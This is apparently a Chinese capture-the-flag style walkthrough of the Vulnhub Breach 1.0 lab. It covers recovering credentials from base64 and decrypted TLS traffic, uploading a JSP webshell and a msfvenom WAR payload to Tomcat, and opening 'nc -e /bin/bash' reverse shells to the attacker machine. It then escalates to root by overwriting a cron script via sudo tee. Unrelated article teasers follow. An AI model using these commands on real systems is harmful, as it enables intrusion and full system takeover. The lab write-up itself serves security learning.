Vulnhub 渗透练习(一)—— Breach 1.0
环境搭建
环境下载:
https://www.vulnhub.com/entry/breach-1,152/
环境描述:
Vulnhub 中对此环境的描述:
VM 配置有静态 IP 地址 (192.168.110.140),因此您需要将仅主机适配器配置到该子网。
这里我用的是 VMware ,文件 -> 打开 .ova 文件创建新的虚拟机。
这边插一段不相关的内容,浅浅的了解一下。
虚拟机三种网络模式
1、仅主机模式:也就是host_only,这种模式仅仅只让虚拟机与本地物理机通信,不可以上网;
2、NAT模式:这种模式保留仅主机模式的功能下,还能让主机上网;
3、桥接模式:直接让虚拟机使用本地主机的网卡上网。
搭建环境
攻击机(kail)IP:192.168.110.129
靶机IP:192.168.110.140
最后开启两个虚拟机。
信息收集
端口扫描:
nmap -p- -sF 192.168.110.140
指纹识别:
渗透测试
信息搜集
访问靶机的 80 端口,在源码中有一串 base64,二次解码后可以得到一串字符串。
pgibbons:damnitfeel$goodtobeagang$ta
点击图片跳转到另一个页面:
用上面获得的账密登录。
可以用 exploit 来找找有没有这个 cms 的漏洞,有漏洞,但是页面我们没有权限进入。
导入PCAP、TLS 到 wireshark
仔细观察可以发现在收件箱里面有个 .keystore 文件,这个是 java 的密钥库、用来进行通信加密用的。
在账户信息这里可以看到 content 。
其中包含了一个数据包和,一个密钥密码为 tomcat
可以用 keytool 来提取证书,可以用 kail 自带的 keytool。
根据提示使用语句,口令就是邮件里提到的 tomcat
然后就是把密钥导进 wireshark。(编辑 -> 首选项)
端口我们扫到过,tomcat 的默认端口。
获得 tomcat 后台地址和密码
http 流里面有管理员密码
/_M@nag3Me/html
Authorization: Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC (base64)
tomcat:Tt\5D8F(#!*u=G)4m7zB
写马 tomcat getshell (三种 or more)
直接上传大马反弹 shell
报错页面有 tomcat 的版本,那么我们就可以搜索这个版本的漏洞。
(这个 tomcat 页面其他师傅说可以用 bp 打开)
tomcat 服务页面上传文件处,上传大马。
jsp 大马,给它转成 .war
格式的文件。
上传完后,访问 /xxx/xxx.jsp
页面并输入密码,上面的那个大马密码是 ninty
。
但是总是会被定时删除,所以我们可以反弹 shell 保持连接。
nc -e /bin/bash 192.168.110.129 9090
利用 msfvenom 生成 shell 并反弹
msfconsole
msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.110.129 lport=9898 -f war -o shell.war
开启监听:
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.110.129
set lport 9898
run
上传 shell.war,并访问 /shell/ 。
启动 bash 模式。
python -c 'import pty;pty.spawn("/bin/bash")'
利用 冰蝎 生成 shell 并反弹
下载链接
把 冰蝎自带的 jsp 马压缩为 zip 格式,然后把 .zip 改为 .war,并上传。
但是不知道为什么一直连接失败,代理也开了,还有就是用的时候卡的一批,有没有大佬知道的,@ 我一下,多谢了。
信息收集
cat /etc/passwd
cat /etc/passwd
一大堆 UID 和 GID ,那么我们要注意哪些呢。
UID:UID的值为0时,表示系统管理员;(1-99)为系统预设账号;(100-499)保留给一些服务使用;(500-65535)给一般使用者使用,user用户的UID和GID分别是1000:1000。
setuid, setgid 可以来改变这种设置. setuid: 设置使文件在执行阶段具有文件所有者的权限。典型的文件是 /usr/bin/passwd. 如果一般用户执行该文件, 则在执行过程中, 该文件可以获得root权限, 从而可以更改用户的密码。 setgid: 该权限只对目录有效,目录被设置该位后, 任何用户在此目录下创建的文件都具有和该目录所属的组相同的组。
发现 milton和 blumbergh 账号。
登录 mysql
在 /var/www 下面有个 php 文件,里面有数据库的密码。
翻看数据库获得用户密码
找到 milton 密码 :6450d89bd3aff1d893b85d3ad65d2ec2
md5 解密一下,得到密码 thelaststraw
切换为用户 milton
su milton
thelaststraw
暂时没有在 /home/milton 下发现有用的。
查一下当前是什么系统,操作系统内核是什么。
系统内核版本为:Linux Breach 4.2.0-27-generic,不存在Ubuntu本地提权漏洞。存在本地提权漏洞内核版本是:Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04)
查看 milton 的 .bash_history 命令
发现 milton 用户曾经切换过 blumbergh 用户,需要 blumbergh 的密码。
找寻 blumbergh 密码
在 /var/www/html/images/bill.png 的 exif 信息有疑似密码的字符串:coffeestains
可以用 exiftool 来查询 exif 信息,或者用 strings 提取出图片可视字符,也可以用在线网站查询。
查看 blumbergh 历史命令
tidyup.sh 的作用是每三分钟,对 webapps 下的文件进行一次清理,这就是为什么上传的 shell 老是被删除的原因。
该定时任务 root 权限。
sudo -l
后发现能够以 root 权限执行 tee 命令和 tidyup.sh 脚本,而 tee 命令可以把输入的数据,复制到文件里。
那么也就是说我们可以把反弹 shell 的语句用 tee 命令写入tidyup.sh 脚本文件里,并执行这个脚本,那么不就可以拿到 root 权限了嘛。
利用定时任务提权
先把反弹语句写入 shell.txt。
echo "nc -e /bin/bash 192.168.110.129 9999" > shell.txt
再把 shell.txt 的内容写入 tidyup.sh 中。
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
写入成功。
等待 nc 反弹 root
此时就是 root 权限了,发现 flag 文件。
读取 flag
可以把 flair.jpg 给复制到我们可以查看的目录,比如 /var/www/html/images/flair.jpg
cp flair.jpg /var/www/html/images/flair.jpg
总结
跟着大佬们的步伐结合自己的思考,学会了很多东西,很多平时不曾注意到的点,也稍微知道了一些渗透的简要步骤,还有就是谢谢大佬们的无私。
参考文章
渗透测试工具一一Nmap(从初级到高级)
Vulnhub-Breach1.0
SSL证书中的keystore是什么
Msfvenom介绍及利用
反弹shell的方法总结
msfvenom之——生成各类Payload命令
相关文章:

Vulnhub 渗透练习(一)—— Breach 1.0
环境搭建 环境下载: https://www.vulnhub.com/entry/breach-1,152/ 环境描述: Vulnhub 中对此环境的描述: VM 配置有静态 IP 地址 (192.168.110.140),因此您需要将仅主机适配器配置到该子网。 这里我用的是 VMware ࿰…...

初探Spring采用Spring配置文件管理Bean
文章目录Spring容器演示--采用Spring配置文件管理Bean(一)创建Maven项目(二)添加Spring依赖(三)创建杀龙任务类(四)创建勇敢骑士类(五)采用传统方式让勇敢骑士…...

【手写 Vuex 源码】第十二篇 - Vuex 插件机制的实现
一,前言 上一篇,主要介绍了 Vuex 插件的开发,主要涉及以下几个点: Vuex 插件的使用介绍;Vuex 插件开发和使用分析;Vuex 插件机制的分析; 本篇,继续介绍 Vuex 插件机制的实现&…...

图像去噪技术简述
随着每天拍摄的数字图像数量激增,对更准确、更美观的图像的需求也在增加。然而,现代相机拍摄的图像不可避免地会受到噪声的影响,从而导致视觉图像质量下降。因此,需要在不丢失图像特征(边缘、角和其他尖锐结构…...

数据迁移——技术选型
日常我们在开发中,随着业务需求的变更,重构系统是很常见的事情。重构系统常见的一个场景是变更底层数据模型与存储结构。这种情况下就要对数据进行迁移,从而使业务能正常支行。 背景如下:老系统中使用了mongo数据库,由…...
第二十七章 java并发常见知识内容(CompletableFuture)
JAVA重要知识点CompletableFuture常见函数式编程操作创建 CompletableFuture静态工厂方法处理异步结算的结果异常处理组合 CompletableFuturethenCompose() 和 thenCombine() 区别并行运行多个 CompletableFutureCompletableFuture Java 8 才被引入的一个非常有用的用于异步编…...
Qt扫盲-QMake 使用概述
QMake 使用概述一、概述二、简单开始三、使应用程序可调试1. 添加平台特定的源文件2. 如果文件不存在,停止qmake3. 检查多个条件一、概述 本教程教你qmake的基础知识。qmake 其实就是一个自动化编译的流程控制文件,也是Qt程序的生成makefile的工具&…...

Spring Cloud之Zuul
目录 简介 Zuul中的过滤器 过滤器的执行流程 使用过滤器 route过滤器的默认三种配置 路由到服务 路由到url地址 转发给自己 自定义过滤器 简介 Zuul是Netflix开源的微服务网关,主要功能是路由转发和过滤器,其原理也是一系列filters࿰…...

为什么要有分布式锁?
Redis避坑指南:为什么要有分布式锁?作者:京东保险 张江涛1、为什么要有分布式锁?JUC提供的锁机制,可以保证在同一个JVM进程中同一时刻只有一个线程执行操作逻辑;多服务多节点的情况下,就意味着有…...

【Redis】Redis持久化之RDB详解(Redis专栏启动)
📫作者简介:小明java问道之路,2022年度博客之星全国TOP3,专注于后端、中间件、计算机底层、架构设计演进与稳定性建工设优化。文章内容兼具广度深度、大厂技术方案,对待技术喜欢推理加验证,就职于知名金融公…...

Retinanet网络与focal loss损失
参考代码:https://github.com/yhenon/pytorch-retinanet 1.损失函数 1)原理 本文一个核心的贡献点就是 focal loss。总损失依然分为两部分,一部分是分类损失,一部分是回归损失。 在讲分类损失之前,我们来回顾一下二…...
Spring事务的失效场景
事务失效场景 方法用private或final修饰 Spring底层使用了AOP,而AOP的实现方式有两种,分别是JDK动态代理和CGLIB,JDK动态代理是实现抽象接口,CGLIB是继承父类,无论哪种方式,都需要重写方法来进行方法增强,而…...
芯动联科在科创板IPO过会:拟募资10亿元,金晓冬为实际控制人
2月13日,上海证券交易所披露的信息显示,安徽芯动联科微系统股份有限公司(下称“芯动联科”)获得科创板上市委会议审议通过。据贝多财经了解,芯动联科于2022年6月24日在科创板递交招股书。 本次冲刺上市,芯…...

数据结构之单链表
一、链表的组成 链表是由一个一个的节点组成的,节点又是一个一个的对象, 相邻的节点之间产生联系,形成一条链表。 例子:假如现在有两个人,A和B,A保存了B的联系方式,这俩人之间就有了联系。 A和…...
儿子跟妈妈关系不好怎么办?这里有解决办法!
15岁的男孩子正处于青春期,很多男孩都傲慢自大,听不进去别人的建议,以自己为中心,认为自己能处理好自己的事情,不想听父母的唠叨。母亲面对青春期的孩子也是举手无措,语气不好,会让孩子更叛逆。…...

论文投稿指南——中文核心期刊推荐(植物保护)
【前言】 🚀 想发论文怎么办?手把手教你论文如何投稿!那么,首先要搞懂投稿目标——论文期刊 🎄 在期刊论文的分布中,存在一种普遍现象:即对于某一特定的学科或专业来说,少数期刊所含…...
华科万维C++章节练习4_6
【程序设计】 题目: 编程输出下列图形,中间一行英文字母由输入得到。 A B B B C C C C C D D D D D D D C C C C C B B B A 开头空一格,字母间空两格…...

详解子网技术
一 : Internet地址 Intemet实质上是把分布在世界各地的各种网络如计算机局域网和广域网、数字数据通信网以及公用电话交换网等互相连接起来而形成的超级网络。但是 , 网络的物理地址给Internet统一全网地址带来两个方面的问题: 第一,物理地址是物理网络技术的一种…...

chatGTP的全称Chat Generative Pre-trained Transformer
chatGPT,有时候我会拼写为:chatGTP,所以知道这个GTP的全称是很有用的。 ChatGPT全名:Chat Generative Pre-trained Transformer ,中文翻译是:聊天生成预训练变压器,所以是GPT,G是生…...

hive数据存储格式
1、Hive存储数据的格式如下: 存储数据格式存储形式TEXTFILE行式存储SEQUENCEFILE行式存储ORC列式存储PARQUET列式存储 2、行式存储和列式存储 解释: 1、上图左面为逻辑表;右面第一个为行式存储,第二个温列式存储; …...

Spark 之 入门讲解详细版(1)
1、简介 1.1 Spark简介 Spark是加州大学伯克利分校AMP实验室(Algorithms, Machines, and People Lab)开发通用内存并行计算框架。Spark在2013年6月进入Apache成为孵化项目,8个月后成为Apache顶级项目,速度之快足见过人之处&…...

12.找到字符串中所有字母异位词
🧠 题目解析 题目描述: 给定两个字符串 s 和 p,找出 s 中所有 p 的字母异位词的起始索引。 返回的答案以数组形式表示。 字母异位词定义: 若两个字符串包含的字符种类和出现次数完全相同,顺序无所谓,则互为…...
HTML前端开发:JavaScript 常用事件详解
作为前端开发的核心,JavaScript 事件是用户与网页交互的基础。以下是常见事件的详细说明和用法示例: 1. onclick - 点击事件 当元素被单击时触发(左键点击) button.onclick function() {alert("按钮被点击了!&…...

零基础设计模式——行为型模式 - 责任链模式
第四部分:行为型模式 - 责任链模式 (Chain of Responsibility Pattern) 欢迎来到行为型模式的学习!行为型模式关注对象之间的职责分配、算法封装和对象间的交互。我们将学习的第一个行为型模式是责任链模式。 核心思想:使多个对象都有机会处…...
AI编程--插件对比分析:CodeRider、GitHub Copilot及其他
AI编程插件对比分析:CodeRider、GitHub Copilot及其他 随着人工智能技术的快速发展,AI编程插件已成为提升开发者生产力的重要工具。CodeRider和GitHub Copilot作为市场上的领先者,分别以其独特的特性和生态系统吸引了大量开发者。本文将从功…...

Spring数据访问模块设计
前面我们已经完成了IoC和web模块的设计,聪明的码友立马就知道了,该到数据访问模块了,要不就这俩玩个6啊,查库势在必行,至此,它来了。 一、核心设计理念 1、痛点在哪 应用离不开数据(数据库、No…...
MinIO Docker 部署:仅开放一个端口
MinIO Docker 部署:仅开放一个端口 在实际的服务器部署中,出于安全和管理的考虑,我们可能只能开放一个端口。MinIO 是一个高性能的对象存储服务,支持 Docker 部署,但默认情况下它需要两个端口:一个是 API 端口(用于存储和访问数据),另一个是控制台端口(用于管理界面…...
第7篇:中间件全链路监控与 SQL 性能分析实践
7.1 章节导读 在构建数据库中间件的过程中,可观测性 和 性能分析 是保障系统稳定性与可维护性的核心能力。 特别是在复杂分布式场景中,必须做到: 🔍 追踪每一条 SQL 的生命周期(从入口到数据库执行)&#…...

Unity中的transform.up
2025年6月8日,周日下午 在Unity中,transform.up是Transform组件的一个属性,表示游戏对象在世界空间中的“上”方向(Y轴正方向),且会随对象旋转动态变化。以下是关键点解析: 基本定义 transfor…...

【堆垛策略】设计方法
堆垛策略的设计是积木堆叠系统的核心,直接影响堆叠的稳定性、效率和容错能力。以下是分层次的堆垛策略设计方法,涵盖基础规则、优化算法和容错机制: 1. 基础堆垛规则 (1) 物理稳定性优先 重心原则: 大尺寸/重量积木在下…...